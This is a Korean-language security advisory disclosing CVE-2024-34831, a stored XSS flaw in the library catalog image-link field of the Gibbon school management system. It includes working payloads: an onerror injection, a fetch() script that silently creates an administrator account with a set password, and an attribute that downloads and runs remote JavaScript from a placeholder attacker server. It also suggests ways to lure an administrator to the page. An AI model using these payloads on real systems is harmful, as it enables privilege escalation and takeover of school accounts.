
CVE-2024-34831 공개
Gibbon은 멋진 오픈 소스 완전한 학교 관리 시스템입니다. 상당히 오래된 코드베이스를 개선하기 위해 많은 노력이 진행 중입니다.
작성자: Christian Bajada
책을 편집/제출할 때의 imageLink 매개변수(/modules/Library/library_manage_catalog_editProcess.php)는 XSS에 취약합니다. Manage Catalog 권한이 있는 사용자는 이 취약점을 악용하여 더 높은 권한을 가진 사용자에게 임의 스크립트가 실행되도록 하고 권한을 상승시킬 수 있습니다.
[http://x](http://x/)" onerror='alert(1)' 로 수정하면 라이브러리 페이지를 로드할 때 경고 코드가 실행됩니다:

이 섹션에서는 이 취약점을 단순한 alert(1) 팝업보다 더 위험한 용도로 사용할 수 있는 방법을 설명합니다. 우리는 로그인한 관리자가 공격자가 접근 가능한 또 다른 관리자를 자연스럽게 생성하도록 속일 것입니다.
imageLink 필드는 Gibbon 플랫폼에서 의미 있는 기능을 호출하기에는 너무 작습니다. 대신 Javascript를 다른 곳에 호스팅하고 브라우저가 다운로드하여 실행하도록 할 수 있습니다. CSP가 없기 때문에 가능합니다.
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"
관리자가 라이브러리 카탈로그로 이동할 때까지 기다리거나 IM, 이메일 또는 다른 채널을 통해 설득해야 합니다.
책 그림 위에 마우스를 올리면(onmouseover) 페이로드가 해당 위치(여기서는 <yourserver.com>)에서 가져와 실행됩니다. 이로 인해 악의적인 사용자가 이제 접근할 수 있는 관리자 사용자가 생성됩니다. 'onerror' 리스너를 사용하면 그림 위에 마우스를 올리지 않아도 페이로드가 즉시 실행되도록 할 수 있습니다.
메뉴 ADMIN > User Admin 에서 생성된 사용자를 확인할 수 있습니다.

책임 있는 공개 지침 https://github.com/GibbonEdu/core/security 에 따라 게시되었습니다.